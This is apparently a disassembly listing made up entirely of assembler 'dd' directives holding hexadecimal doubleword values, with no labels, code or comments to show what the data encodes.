		dd 6057B0DFh, 7AF17D6Fh, 3413475Bh, 5109CB29h, 0EFD55412h
		dd 0FFE47B62h, 6DF6FF44h, 47035C9Fh, 271CCEBEh,	2F5B2CFCh
		dd 0FA629B23h, 7A1DD675h, 0C6E937A2h, 0EAC4EB64h, 67F3A7DBh
		dd 76BFD14Eh, 8C397B8Bh, 0EB28BB21h, 5503B888h,	0A36DE1BDh
		dd 88FD97Bh, 93ED323Fh,	0D7E4895Fh, 79956F45h, 9F805B95h
		dd 54C5705h, 0E8296BC9h, 5D070B2Dh, 1554D801h, 6AE13A03h
		dd 24680700h, 94D39567h, 9E1D3202h, 43715F2Ch, 0C738F5CBh
		dd 117D368h, 0A80043B8h, 571CEBEAh, 0C8789574h,	0DA59DC81h
		dd 0E027CED3h, 9FBF60C5h, 0DA8872F9h, 3811E9Fh,	5F547D4Bh
		dd 80A51FD9h, 0FC58EE17h, 6301B24Ah, 0F9E9A1F5h, 30FF8DA6h
		dd 194BE619h, 60A10CA8h, 1581054Ch, 16046EBDh, 4187EF99h
		dd 483CDEB2h, 7C53376Eh, 96E4F460h, 51680100h, 8C383073h
		dd 1620F162h, 0B45CEC52h, 0E8C0010Eh, 0E8652C03h, 0BB807C1Bh
		dd 0AF2A24A2h, 0A6F30CD1h, 0DA4C890Dh, 0A78C3003h, 3DD32FEBh
		dd 55BCAEB2h, 6DFF4Ah, 0C90BA011h, 40183520h, 0B12568F3h
		dd 0E827182Bh, 3F76B58Fh, 92E5D643h, 54CBA9DAh,	3ED42F41h
		dd 1E898347h, 2465F658h, 137E0FADh, 2D32BBA6h, 52CC765Fh
		dd 0AAAD45FFh, 1073A02Dh, 63A2264Dh, 3A2700CCh,	0E6C15DA6h
		dd 44520826h, 4F69F400h, 1615BA0Fh, 0B06841CCh,	0D63B219Ch
		dd 79C5955Ah, 69C010E7h, 632CAC00h, 0D8281404h,	8477D2EDh
		dd 805D4EACh, 0E0C03DB0h, 52175304h, 3EB8ABB2h,	2CF84B70h
		dd 0DEA84AC0h, 0D094FE68h, 0F4347525h, 1E0F0097h, 0B777F93Ah
		dd 5795DAD0h, 86E77DAEh, 0C00D1462h, 2201FCB9h,	81EF094Eh
		dd 6B5DE8B0h, 12D3D7BCh, 2F3F3951h, 4746B744h, 5E0E0F8Ah
		dd 0BF582C68h, 0F082F896h, 6EF03DEh, 0D9017139h, 0CB842F50h
		dd 9F78180h, 4EBEFE66h,	82D74F8h, 3EEB6659h, 0E8037ABh
		dd 216CEE05h, 0D877F733h, 8F04B101h, 4B1C3514h,	60D471F1h
		dd 0EBB303Eh, 0ACF6150Ah, 689E8197h, 317A0A03h,	7CD818Fh
		dd 0FD16C9D2h, 0E92ECA9Ch, 2583D648h, 0ECE42998h, 85E9C0BFh
		dd 3C028823h, 0D7F93E2Dh, 980A571Eh, 0AE2C68h, 0AF2CCBF1h
		dd 5F973135h, 9217F987h, 2F5E5FBCh, 91B95512h, 99D1AB97h
		dd 0AF4C1E5Ah, 0AD39955Bh, 12C77052h, 0A330FE4Ah, 48E555CFh
		dd 3C09F10Eh, 1C828644h, 0B3A0B9D1h, 72373FC9h,	60C7595Fh
		dd 8D19E09Fh, 0DED1D035h, 0B9722D2Ah, 6A4CB009h, 9D84DFCDh
		dd 661B8051h, 802E074h,	73EB04B9h, 5BE78672h, 0F283F34Eh
		dd 0E671F7Ch, 83EC4655h, 0E234B576h, 0B2580626h, 0C2F32B4Eh
		dd 7627BB07h, 21C31A92h, 0EBA70F5Eh, 10EB3B44h,	858287Fh
		dd 0D2081C29h, 0F7800FA4h, 5BF930C3h, 88235BDFh, 0ECBACCFEh
		dd 55048B57h, 1862ADE5h, 0FB70098h, 5B3BFA28h, 0FEAB0453h
		dd 27C680C7h, 72CA6706h, 4FA0478h, 0B00F914h, 3A850FDBh
		dd 10923EE1h, 1B682720h, 660CA375h, 28207592h, 7DEEE4Eh
		dd 0F628E180h, 71D127D9h, 47888AF1h, 0C5D0A7B9h, 1062C3D8h
		dd 162F4B1Ch, 46455525h, 0AF3B582Bh, 0DB6A70Eh,	0BB51E710h
		dd 18F226F7h, 4CA508ECh, 46E86804h, 79C148ACh, 0EE74B159h
		dd 4E058560h, 60EBD1E2h, 8640AF2Eh, 0E0C57C81h,	59027B21h
		dd 0C12E78E5h, 0E37725EFh, 0F0D9E7B6h, 97E6E0A4h, 517F466Ch
		dd 0FEF82632h, 8527152h, 0F825B7EAh, 206C94Dh, 15A5C480h
		dd 94F3C04h, 0AB1664ECh, 0E574FA4Dh, 1066429Dh,	0D60CE896h
		dd 11762E05h, 0C64037CDh, 6A07278h, 4D2CB945h, 0E94ED2F8h
		dd 63231FC0h, 0EB354EA4h, 60EDCC1h, 4E36ED6Bh, 856003F9h
		dd 785A685Fh, 94D7E980h, 32B12454h, 0BE03AD0Eh,	65A3C0C0h
		dd 8C7AE168h, 29138724h, 0C2FE5983h, 0AA1047Dh,	3EE1E95Eh
		dd 9E9BBDF8h, 3A6292D1h, 68B09AB8h, 8BC63F40h, 427D3F9h
		dd 197E9ECDh, 1BC9BA50h, 1273C320h, 0BC6E5B8Ah,	397102C6h
		dd 42FB292Bh, 7080BCBh,	12A80A84h, 140AE658h, 426DC76h
		dd 32621EA2h, 0CF5A04FFh, 0EC31172Fh, 503A190Bh, 5E12AA6Ah
		dd 0E1755D1Fh, 0C76B112Dh, 0DE008765h, 5D182199h, 896E41Ah
		dd 4B175659h, 0B66349F8h, 81EC9D89h, 3FD4334Ah,	5EA01F30h
		dd 0F87E5E2Ch, 73C434B2h, 2EE089FBh, 0FC2116D3h, 216ACDEFh
		dd 30C82F6Ch, 0F159B573h, 7F40B2A0h, 8E104968h,	0BF29D755h
		dd 58B7ABD2h, 5A6CB74Eh, 7212A3B2h, 87E92053h, 4F50C32Fh
		dd 63F59B1h, 5EC1F7B7h,	307A14B9h, 3A9EF2F4h, 0FF4AF1C2h
		dd 0D6D8CA05h, 6E10F9E9h, 5F034C98h, 2E3E09FEh,	0C5577742h
		dd 5E6B2D2Eh, 0F6D44D8Ah, 0B83E8449h, 57800909h, 65B7B92Dh
		dd 1129BF48h, 0E476D73Dh, 34830D05h, 9C0F901h, 5F6DFC08h
		dd 3CEC9Fh, 683151BEh, 0AE46C181h, 6A97CE2Dh, 0D1D0573Dh
		dd 75D5E918h, 1694EF63h, 0EEA75731h, 0CEE5D06h,	1EC3051Bh
		dd 0BEA68BC2h, 0D70124C2h, 54ADA765h, 52B08243h, 13C27726h
		dd 30B37655h, 7B32A018h, 868B7A4Ah, 0D71BB715h,	12D5881Eh
		dd 5B7F4543h, 0DEA5FB56h, 0D6C6E87Ah, 404927ABh, 0FEED35E9h
		dd 2D59C8BFh, 4C4B75DAh, 0AD14B942h, 0CD81FB94h, 402D7A69h
		dd 287F34F4h, 0D7315C13h, 9FE1CC13h, 0EDDC603Bh, 0E02E4B61h
		dd 7F02EB75h, 0FCAC4912h, 707625A0h, 7AB0A91Dh,	0C98C281h
		dd 29919EBCh, 0EA406AC6h, 30C42880h, 70B220E8h,	87D98395h
		dd 269E25F5h, 0C12767Ah, 0B8076212h, 0BF937BC1h, 0FE1CBD2Ch
		dd 159E08A8h, 5515650h,	326E6368h, 0ABCD124Dh, 0E9C212B7h
		dd 0C67F94BCh, 70B09745h, 80165BF8h, 35A212C3h,	160560C4h
		dd 0C8D8671Dh, 2DFC884Bh, 93555A5Bh, 407FFBFAh,	987832Dh
		dd 5158E628h, 0E085167Dh, 1BE40580h, 0A3A7C0E9h, 203A117Ch
		dd 0FB2BD28Bh, 0FC771457h, 1CF3649Ch, 0A1C9A95Ch, 6A19E789h
		dd 5E30A6A2h, 8F6AC318h, 0EF01111Eh, 0E9085039h, 125DE327h
		dd 888820E5h, 0A35052C7h, 58E2B180h, 982857E4h,	9CC92D18h
		dd 44A0586Eh, 28263DA9h, 4781D94Bh, 0D1F7CF87h,	0C47208B0h
		dd 654FFCDDh, 0E400BFE1h, 486A66F5h, 0AD071473h, 0CF72E630h
		dd 6547F60h, 0D327E935h, 0C03399FBh, 0C38A49EAh, 17AB8FDh
		dd 66D330C4h, 90C83B5Ah, 0F8C04FCFh, 5D68F182h,	76159DECh
		dd 573C255Bh, 4BA043E6h, 0F7E81EF6h, 5B60049Dh,	5F8636EDh
		dd 4776180Eh, 0B2C5482Ah, 0EB19682Ch, 0DFBDCE42h, 4242A365h
		dd 9FB077B4h, 32623368h, 159241Fh, 0C31DC280h, 0F0BFA59Fh
		dd 850B0575h, 400B7054h, 5F8E24B7h, 0A925BF08h,	9CEDD1BBh
		dd 443A09E1h, 7E7EDEDh,	0EC72612Ch, 0C041EA20h,	276770A9h
		dd 294051D2h, 0AC0D8F7h, 3F722505h, 267F9087h, 41CCD718h
		dd 7054243Ch, 6F4AB06Ah, 0BDC74038h, 62359976h,	0EA5A2EBh
		dd 596F12C2h, 0A9E8B924h, 0D0297631h, 1C68081Ch, 0E581A14h
		dd 0E80B907Fh, 0B53580D2h, 6122572Fh, 0ECD0ABDAh, 0C329246Bh
		dd 32C05A00h, 0BB7DAE9h, 167FFAh, 0D95D3A2Fh, 0EF47ADF9h
		dd 68C80F81h, 683C797Fh, 0FEE86FC2h, 0F20997D0h, 863C175Ah
		dd 900DEEBAh, 58EF907Eh, 0EA8A84A3h, 60FC04F7h,	7310EB29h
		dd 144F7C08h, 0A702D14Ch, 0AB2D7268h, 4647C039h, 581F0F22h
		dd 4049E8C1h, 6982C700h, 5AB72E02h, 8195FAEDh, 21EE2F5Fh
		dd 0F5835CC0h, 5E2C3A02h
		dd 0A31D60D4h, 0C37EE3EFh, 56A8B85Fh, 9ED0A94Bh, 0DEA0D892h
		dd 9D0F01B8h, 2317BE39h, 0E0CA300Bh, 0CE477162h, 0EB6057B3h
		dd 0A095EE83h, 8F45BD37h, 99462FE9h, 0F39A2075h, 7DCB376Fh
		dd 7B583020h, 363EB43h,	0AEA144Eh, 508C33Eh, 0C8C4AEE9h
		dd 0DC9D4B63h, 49F66F8Dh, 0E6DF51A5h, 4983FACBh, 0ED33B3B1h
		dd 8D1C506h, 0E2FBF7ECh, 0C9C21A4Ah, 5F085867h,	501EFBB8h
		dd 0FEEB1685h, 0CE6EDA8h, 2E436813h, 0CB2DAFh, 45058ED0h
		dd 47E13B5Bh, 0B06EB07Bh, 0FC2E3588h, 2D090275h, 0C37262Ah
		dd 6788CF76h, 5650097Ch, 680F9649h, 57530079h, 266F0768h
		dd 0B1949F44h, 1490CD90h, 7766C707h, 21FF3925h,	216B6F32h
		dd 0B28B18BFh, 51DE706Ch, 793F0A09h, 7D87C998h,	7E30448h
		dd 0E997BBB1h, 8FF412AEh, 5F8F9894h, 8CF8CC89h,	18BC3316h
		dd 9F974BEh, 0D9715A0Ch, 0A2156A09h, 405DEEA2h,	0B778DD4h
		dd 0F1016008h, 12081F88h, 0CEDD215Eh, 83000422h, 7EFD2BCBh
		dd 9582F85Fh, 0FA0F165Dh, 4EB54B03h, 65226F1Ch,	42425B2Fh
		dd 0A713D209h, 4812FBA3h, 0A53FAE0h, 52BD8405h,	4EE1CAFFh
		dd 0E913568Eh, 469280F6h, 0EC0EE681h, 0DF18C869h, 0F46A9202h
		dd 0B0884373h, 0BD94C3FCh, 0B07DDE42h, 0BFE7987Ah, 68139446h
		dd 531179Ah, 60E8F0B0h,	90AA448h, 9D5BE973h, 75418E11h
		dd 2C87E826h, 0B6A0B39Dh, 912B2DADh, 0A7F7A19Ah, 0F9E55622h
		dd 0ECD755E8h, 290C1584h, 0A3EE9385h, 8CAAD290h, 0A4400871h
		dd 5AD12588h, 0C7929865h, 0BA4F17B0h, 65DF802Bh, 15B3B26h
		dd 30C40F79h, 0F78376EFh, 3ECB64E6h, 74660C04h,	0E0AF2882h
		dd 61400B5Eh, 3AC1BD5Ah, 51D3D337h, 51F50CD2h, 0A8C96039h
		dd 0EAA0E073h, 7726A4E9h, 0AA1205EAh, 0FE9217AEh, 0F9AC5229h
		dd 0BB281310h, 0C05F1F8Ah, 64DD2BBFh, 0D19FE975h, 96014428h
		dd 0EA206894h, 0AF7D973Eh, 7F7144EBh, 0A53EACAAh, 6824D1BEh
		dd 0FBA82BBFh, 6BDFE982h, 35F820CBh, 9AF443C3h,	177B996Fh
		dd 0D75EE6E4h, 16C2AA0Eh, 311E7F5Dh, 0F24BDCB5h, 9894C5Dh
		dd 66DC6578h, 0D5CE886h, 0A612E926h, 0EABE5681h, 0C547390Ah
		dd 3DDA5C3h, 0D630ED99h, 5ADA1036h, 3DB8D168h, 0F78E4162h
		dd 0AAF641D0h, 5C775C02h, 0E4AA70F5h, 313B7590h, 22392CFh
		dd 0F240D7EAh, 0EE5691C2h, 5E95268Bh, 3D8CC6B9h, 0F05B68BFh
		dd 0F0DABF2Dh, 1F4683A0h, 0CD4695h, 2A397205h, 868BA5BEh
		dd 1FFEC54Bh, 5C971BA6h, 0D9BFCBC3h, 0F4526041h, 0C4B5309Bh
		dd 6FAF056Dh, 0AB8F11A0h, 1308BE10h, 53FF0B29h,	982ABEB9h
		dd 34EE3A10h, 9409335Ah, 31C2B0C0h, 33142558h, 4BA2CA5Ah
		dd 0C8090A09h, 25CAC45Dh, 5E5025E9h, 63AED49Dh,	674F0B65h
		dd 0F4970587h, 18C167ACh, 286958BEh, 0DB9DA5DCh, 0C539F1Bh
		dd 6841601Eh, 79622F25h, 57EEC970h, 0C399E917h,	81BB1225h
		dd 3102E394h, 350EF93h,	707A0563h, 0D0DC6D5Fh, 56392DE9h
		dd 0B63F3975h, 52D0823Ah, 54D5FC77h, 0A4AF3DD3h, 0D1ECAC38h
		dd 0D5ADEC5Bh, 5540F2B6h, 0FC681059h, 52A25F1Ch, 86A7663Dh
		dd 0A54FCAD4h, 93FC053Eh, 0A0C9E4E7h, 0E5BA5931h, 0A90F4C1h
		dd 0F1FC0CD6h, 727D9639h, 6F3EEC41h, 4C851AB8h,	4529999Ch
		dd 14ED186Dh, 0D4BFCE21h, 524471D8h, 6A403199h,	17B34B5Ah
		dd 1009227h, 1A7F6820h,	71C43C6Ch, 0CDCDAA13h, 896CB32Eh
		dd 0E128059h, 5812793Fh, 0F6205F4Eh, 40390D1Eh,	1043331Dh
		dd 8F052D4Dh, 1BDB9CE0h, 1608BC29h, 6E2DF1C0h, 3AADDDACh
		dd 4139AD45h, 0C79398B2h, 302911FCh, 7EEFE106h,	1D053101h
		dd 0C214443Dh, 0BB7235F4h, 236EF10Dh, 0F3789247h, 0F235B263h
		dd 0B9ABCC4h, 8F67DC24h, 0E132AB69h, 55FE5906h,	170E04C0h
		dd 0CC40EC2Ch, 0D5D74C42h, 0CA2AA965h, 5C92CA9Dh, 95010DDh
		dd 5EFEE280h, 14027168h, 31D26FA3h, 24DED486h, 20BB290h
		dd 0F507EAC0h, 2CF23382h, 440952D4h, 16F957A1h,	0E3815C00h
		dd 5A0D0A4Fh, 50D6BC42h, 0AC40B20Dh, 82504C59h,	0F3F8823Eh
		dd 32DBB2Ah, 2A5CF28h, 0FEE1BEA6h, 5267D475h, 0A2E76C77h
		dd 0DFA0F53Ch, 0CBEEDD35h, 0E32DB003h, 0D07BE643h, 13D55830h
		dd 0E817E91Ah, 23A85B77h, 0BB8A97E9h, 0B96F85B1h, 5560DE5Ah
		dd 0F7DEC455h, 0D6A510C5h, 8A0B8894h, 25FA5025h, 9657076Ch
		dd 0E9CE09BEh, 725EBA88h, 87209C93h, 0B7F987D7h, 6CA5C0C7h
		dd 79677CCh, 6A6855E6h,	10F6D03Bh, 89E66028h, 7A207725h
		dd 0E2AF255Bh, 0EE5D1405h, 60BB7100h, 5E534872h, 0E070F031h
		dd 0BB93F40h, 12783255h, 0F9A7485Dh, 0A4E09549h, 0FE65ED92h
		dd 693251E1h, 88E2D359h, 5E175FF3h, 0BA7549BAh,	0BE5A1178h
		dd 29D507FEh, 791BC7F5h, 16C95FD1h, 368049Bh, 0AE2C1D67h
		dd 6D0B8480h, 0FA114C84h, 855CFA25h, 5B134013h,	16C2A6BAh
		dd 15A8EC50h, 0C4CBFFE4h, 0B10DED5h, 525914D6h,	82904BFh
		dd 23C03123h, 2C10E7EDh, 2F724680h, 3BF61EA0h, 54C1713h
		dd 51C30057h, 0EEC12210h, 0F512C202h, 6EE0A8FCh, 5DD1B339h
		dd 7E086F3Bh, 5AC18016h, 0C63D02Ch, 5ACB80D3h, 0E9256F55h
		dd 0BB2140D0h, 0F07916C7h, 0C3B3200Eh, 6B374E49h, 3012E844h
		dd 2EDCE0FCh, 2C5681D2h, 0B57C0C9Ah, 0E2175625h, 5C3D7AC3h
		dd 0E5221BC7h, 835F1CECh, 0CB6BF2A5h, 238E4ED1h, 0FEFC3B0Bh
		dd 0AE89D268h, 5A3B7F97h, 1A58D5E2h, 0FE32B209h, 85984C2h
		dd 0DC6C57C2h, 492C8848h, 0EF895D1Dh, 629CD487h, 99F6B6FCh
		dd 0DB685C43h, 0DD5D240Dh, 96122D66h, 7A97A469h, 84E96C16h
		dd 54C513D2h, 65073A74h, 0B370B356h, 62002BA3h,	0B5515066h
		dd 7E88838h, 8FC38059h,	3ADB3A28h, 0DF92B2CAh, 0E408BAECh
		dd 225A160Ah, 38F8225Bh, 0CE0C2D07h, 62A56333h,	0E66431B0h
		dd 6021F032h, 0C2BABEDFh, 4E27DB68h, 82A64542h,	7F2851EDh
		dd 0BB34DA84h, 52CD57ECh, 5AD0E008h, 0C90B6DBEh, 5C251917h
		dd 1130AE2Bh, 95FEDEE7h, 684163D4h, 72366714h, 39440B09h
		dd 459A5302h, 0FC068B08h, 2016EE88h, 0FBD3A09h,	0EA6F06F1h
		dd 0DBE09F54h, 0E80EF380h, 4AD98851h, 216B0CAh,	23A28621h
		dd 0D016F429h, 3B71EE0Eh, 0EC6F5B58h, 2DC24C7Eh, 680CB86Dh
		dd 311F5FB1h, 81F05D16h, 0C58BEA27h, 35EDCD33h,	892CF528h
		dd 32A3C46h, 39FE9FFEh,	0BB83D8E9h, 96512FDEh, 9FC59F17h
		dd 0F2EE39E0h, 9D22FFA4h, 0EBC36913h, 9EFC0589h, 2E3902EAh
		dd 78866851h, 0EC4197Eh, 326F288h, 95597122h, 55C8D5F7h
		dd 4DEE5D58h, 850125F2h, 0E9201316h, 4F22C1C4h,	0B2DFE140h
		dd 8BBE06DAh, 0A4391961h, 0E4EED6B5h, 1985BF31h, 9313E6BAh
		dd 531612A2h, 93052F7h,	8FD5B227h, 0C3DEEA1Dh, 5C3A031Ah
		dd 96E70A72h, 0C684BAB7h, 80319971h, 344623A8h,	1F6523B8h
		dd 0FAC25F23h, 6307F07h, 4C953C67h, 25EF8E14h, 0C6661B2Fh
		dd 1F25F4F2h, 0FB1BC117h, 0DDC5AB05h, 3B3ACDBBh, 0F142C68Ah
		dd 1BACE982h, 2FAA4677h, 161911D6h, 95136F19h, 437D0702h
		dd 7A534056h, 0D0BB8033h, 78DC381Eh, 0EB820892h, 0AF5414Fh
		dd 9C7A92Eh, 4677B768h,	76170952h, 8E5C26ACh, 2C16A2Dh
		dd 0DEE6E90Bh, 0F742740h, 9112E24Ah, 0C80B32B9h, 60361EAh
		dd 1701C1F8h, 0F58022B5h, 28642870h, 8CDA4FBFh,	0F924ECDCh
		dd 3C175754h, 0E3BF29C5h, 7B998661h, 2D14EAE1h,	22D01892h
		dd 0B9816499h, 424D0936h
		dd 52013D71h, 296B01FAh, 0A2987AE4h, 2480E5A6h,	37679BDh
		dd 0D8902978h, 9045648h, 220CB08h, 0FAC8C3B2h, 6E9A9DD1h
		dd 2F578B41h, 56ADCE5Dh, 0CFE95B8Ch, 931ABAA8h,	6F52DC78h
		dd 5A052740h, 5A423A06h, 0DE3DD62Dh, 4FB7E939h,	7A2DF870h
		dd 12FA3A6Dh, 5E940DFh,	4CF56CE3h, 5994295h, 0F815E907h
		dd 4BED966Dh, 0A928BF1Ah, 0CD4FF1F2h, 65EC3313h, 5B1EC57Ah
		dd 31E2EF87h, 8280E96h,	0C303E665h, 909FFFC6h, 0AAF7E901h
		dd 68B49799h, 0AA3A31A1h, 0DBF83120h, 0C3F280FEh, 71915213h
		dd 0F05E62A8h, 636B1E7Ch, 0D2F64A7Fh, 88A496CCh, 581AE679h
		dd 0F7F78674h, 40E30553h, 0FB14C87Fh, 2A011852h, 89B3780Ch
		dd 817AA131h, 370EC43h,	211CC0BDh, 0BD7CB543h, 0E56DC581h
		dd 4243979h, 0F8D95001h, 487217A9h, 4FB30737h, 0FC5BE579h
		dd 0E2761012h, 5752460Bh, 0C00B8FD7h, 6ABF754Ah, 656F2D0Fh
		dd 0D02566FCh, 0CA80A821h, 2EF4F9E0h, 5E23DC1h,	0B8ADAA8h
		dd 0E372F540h, 116F0748h, 0A381F582h, 877AA11Ah, 5735160Ch
		dd 84E8E911h, 0BBF228Bh, 50765700h, 6E025968h, 17E93DDCh
		dd 415177A5h, 2C0DCB81h, 54FD3482h, 2BEA8D6Ah, 815164AEh
		dd 4DCFB96h, 0F11FF4FBh, 18892B5Fh, 0B505B730h,	0C6CF95F9h
		dd 2C1D51Dh, 0B44AD7EEh, 9DA44614h, 2AAFF135h, 32B976BCh
		dd 64C8D389h, 69EC6061h, 3780F9C1h, 846C64Bh, 41DEFB1h
		dd 0F443DCC5h, 4657E875h, 0F16B02FCh, 88940A2h,	163F0EFAh
		dd 0D9295E67h, 5BF3E877h, 49BD0B05h, 0F44273A7h, 85480709h
		dd 2FB17B80h, 54AFC17h,	0D6406FBFh, 0BF44D057h,	88246DAh
		dd 0F625D6D4h, 3C8BF085h, 805C34B7h, 9AF230D9h,	0C95E5F32h
		dd 8FD20FDh, 81DC415Dh,	7B572740h, 39AF8B2Bh, 159D975Ah
		dd 29740500h, 29E947BBh, 3B41D7Dh, 7A0B2FC7h, 0DA84E83Ch
		dd 0D8A1DDACh, 90BD00C1h, 377706FAh, 0A65EF529h, 256A652Fh
		dd 0A2EE44B1h, 0AC5D3109h, 63683993h, 0B9FF5BC5h, 2D192674h
		dd 870C9BACh, 0FC67B88h, 4535048Fh, 0BFD80667h,	17B6BF93h
		dd 6B549575h, 0F3B0B7D4h, 54811459h, 17B8CB2Ah,	0F75A2CE9h
		dd 0C75A8E5Ah, 86BBF241h, 750DFB01h, 2AD09531h,	0BD300116h
		dd 7CDFBF0Bh, 487E3B7Eh, 0AA04412Eh, 0AF774969h, 124A49BCh
		dd 0E8C8EB60h, 0F6D95050h, 66EE0B08h, 828E8059h, 7E8DEF16h
		dd 0F858BB68h, 246F1111h, 0BD89F01Ch, 764EFDD2h, 0B711F797h
		dd 0F564A51Eh, 0B1080667h, 769C2078h, 3A7230BCh, 29FCFD0Ch
		dd 2476245Dh, 0FF010D4Dh, 21B9E788h, 0E5345328h, 0F96DC58h
		dd 0F4510BB5h, 4AED1708h, 2DF0CE5Dh, 9A8BFAEAh,	44BD06D2h
		dd 93594E52h, 821C471Fh, 79527F42h, 616FC7A1h, 3EB422ADh
		dd 0FA88E021h, 9D5AD4C8h, 21AA0702h, 7E806801h,	80C49992h
		dd 0CEDB914h, 0B8091E30h, 363FD2Ah, 0E9CF2114h,	0B1259E4Eh
		dd 3F576EAh, 364A2B0Fh,	0FEF10BF0h, 0C9C074B7h,	271FAD7h
		dd 2A8CF581h, 23F8D8BDh, 16FA685Ah, 0AFD512F9h,	44B8E338h
		dd 2D5BF8DEh, 0DD5FF0D2h, 0A6684787h, 0F52DC113h, 80593A30h
		dd 178ED38h, 1CCDF87Fh,	6D2B21E0h, 0CF8929D0h, 5261EC2Dh
		dd 58C174C5h, 0A37D04EBh, 7AA21272h, 0F174FF7Ah, 169309B8h
		dd 0AF046C2Ah, 2386BEC7h, 36D52F8Eh, 1347D018h,	1853D482h
		dd 96555AFEh, 0C10E9395h, 10AC1F60h, 0B904133Ch, 3261342h
		dd 20BE32AFh, 0D098F4D8h, 56195905h, 2C87D122h,	27F4D727h
		dd 0C41D12BEh, 2A28EE3h, 0E10A7DC9h, 1A89E021h,	8ED69506h
		dd 9D685641h, 0FA4BB42Ch, 5D7E552Ch, 998D7FF1h,	0BE9A7BC9h
		dd 0C9EE3413h, 0BB17450Eh, 0B20160D4h, 1CED6859h, 27B49858h
		dd 947FFEF4h, 9585F66h,	2CA5290Dh, 65A1AFEBh, 0BF118E30h
		dd 0FD5B1C18h, 0F2AEC895h, 745E5C4Fh, 0B05FDF3Eh, 0BE803EF5h
		dd 596412A3h, 564AD4Ch,	0B3A69B58h, 5BDD3AC3h, 2585B988h
		dd 0DBEBC171h, 873CCAF9h, 0EDE7097Ch, 0C1818653h, 41D6F601h
		dd 3E85E906h, 10BC96C4h, 0D357C9DEh, 0D9640D5Ch, 582799BCh
		dd 0F4BF3B94h, 3ED852A5h, 0B3BA32D3h, 6BE98312h, 0CEFF1E82h
		dd 25394CBEh, 9502CCDEh, 0F7298AC1h, 96EE555Eh,	208BCCB7h
		dd 881C18BCh, 0EFC253D5h, 464AEA68h, 0FEFEFACDh, 505A52F0h
		dd 0B212593Ch, 34C4FEB5h, 25879BEEh, 0D7BCC28Eh, 0DC81C506h
		dd 0B5F99F00h, 0AE430C05h, 4578BD0Eh, 19870782h, 9B1ADB7Ch
		dd 602A1A7Fh, 3F209B45h, 0AECB4281h, 96EE7CBh, 5832290Ch
		dd 84A862BDh, 0F12520Ah, 3452010Ch, 0DB8EFB5Bh,	83867024h
		dd 0E8885053h, 648BFB94h, 7D82B77Dh, 185DFDEFh,	6262CB0Dh
		dd 433878BCh, 0DCB0570Bh, 5B809B1Ch, 6EA4C20h, 0A745A825h
		dd 554D98A8h, 353611E4h, 0A15647Dh, 0A377815Ah,	0BA6007D0h
		dd 4B255FE2h, 17D0FB0Eh, 0BD04B6B1h, 4E7CAE03h,	0D4603282h
		dd 752574D6h, 8023097Ah, 47B9836Dh, 24A29C31h, 343616F7h
		dd 0C4298730h, 5F6E8C37h, 64306813h, 5DC9F9ACh,	0A6FF6DF5h
		dd 0CB2D501Dh, 0EBE165CEh, 9F93DCFEh, 0F62FBED0h, 7FEAC2E8h
		dd 0A66A493Dh, 87ACD7E7h, 53DF84D2h, 0DED58706h, 18610840h
		dd 0C1DCE31h, 0C70B694Ch, 0CCEE01E1h, 0D52A2D7Dh, 0C4B53B43h
		dd 1CCEAD63h, 4A3720C7h, 4B890CCCh, 41F9F943h, 254BBD08h
		dd 0BAA78531h, 0D729F820h, 0C2609F5Ah, 0D69E627Bh, 552789C2h
		dd 0D3BF6A6Ch, 571A13C0h, 9976B699h, 9D2E6C56h,	123FEC67h
		dd 0F58AE394h, 0D994AE98h, 0EEC429B5h, 0F4278AA8h, 0EBDA7986h
		dd 0E941B27Eh, 8F93EA5Fh, 49450CE7h, 0FCFCE249h, 550E576Bh
		dd 5E0471C5h, 0D9BFC821h, 9F1830EFh, 0DE965F3Ah, 0BAE99AC0h
		dd 0E6CBC05Ah, 24073066h, 0FE874614h, 72313AA0h, 2208B0EBh
		dd 4C6C213Ah, 1C307F28h, 0F329080Ch, 0B6B75E4Dh, 10F8B585h
		dd 16C80D20h, 0FC451868h, 0E5F7CFBBh, 60ED9312h, 0DA651F71h
		dd 56D31F1Eh, 3ADFF59Bh, 0B1EAD784h, 0E6213A98h, 8505B690h
		dd 6DD915E8h, 4465BF0Fh, 0FA456C2Fh, 1A8DBE4Ch,	56CAA2CEh
		dd 50A68F57h, 0ACD33C65h, 59688293h, 5A4C7F37h,	480A071Ch
		dd 0AE0E016Eh, 413D857Eh, 2D0844C3h, 897E312Ah,	88684AC1h
		dd 7B0B87EFh, 0CBFCADEFh, 1AF72D12h, 1ACA8A5Bh,	8229D1E9h
		dd 7EFBD830h, 69068338h, 55B23FCAh, 659FFA5Ah, 0ABE98935h
		dd 64098FA9h, 481FE25Dh, 14A325D9h, 0A64CF03Ah,	4839034Fh
		dd 6EC25640h, 0F9B522D8h, 47FD5213h, 742C1600h,	0FD029D2Ch
		dd 0DDDD51F3h, 21C7845h, 0B61BE8B8h, 0DB20DF2Ah, 23639FBEh
		dd 3FC9E09Fh, 3E4A2D41h, 0CC802A09h, 55F418DDh,	0FE021E90h
		dd 29DF6A2Fh, 58C4B2DEh, 0F3C89D25h, 933A0376h,	6138773h
		dd 0D8D2384Bh, 0B5078E05h, 1C210311h, 0DD5B6FFDh, 49E929B4h
		dd 0FE4A331Dh, 585B0DDEh, 39C99C0Ah, 0B805E72Eh, 2D06C514h
		dd 926352E9h, 0D2902518h, 5072BD20h, 0DAB5188Ch, 7D08822Dh
		dd 5B8C4F5Ch, 0F2D2E48h, 999C8480h, 0CBA4F844h,	7E3D2551h
		dd 5405C9CEh, 0BBF613D4h, 6816719Bh, 1A09B640h,	0E011709Ah
		dd 4A37E945h, 0B849FAACh, 5364755Dh, 0A2B267FEh, 65F8AC4Eh
		dd 0C9F2E84Bh, 28485673h, 0C10432D3h, 6810EFB9h, 33244E45h
		dd 0B74B7CEDh, 868B743h, 2D6B120Eh, 9AA7B398h, 124BD792h
		dd 76ADAE9Ch, 9CFE7D12h, 0E2398001h, 0E3F29C6Ch, 0DD5AD009h
		dd 3B52D4B1h, 3AA02DEFh, 0E9822AFCh, 0E174BCB6h, 1719B88h
		dd 0F602EFC0h, 64DBE9DFh
		dd 3F17BB5Eh, 0A5B00C34h, 0C7602515h, 1016FFD0h, 670C2012h
		dd 25E904D2h, 0AE7EF2F3h, 13C1FE70h, 0F36A8668h, 0E9A909CFh
		dd 5E17A17Eh, 0C2878151h, 5970788Dh, 0F5591AFCh, 75590F42h
		dd 0DB2B30FCh, 52007EA5h, 2FEEE5D5h, 0C0AC225Fh, 0B9DE7702h
		dd 0EC347C72h, 0FCBF546Ah, 0AF557623h, 97027EA3h, 0D1140368h
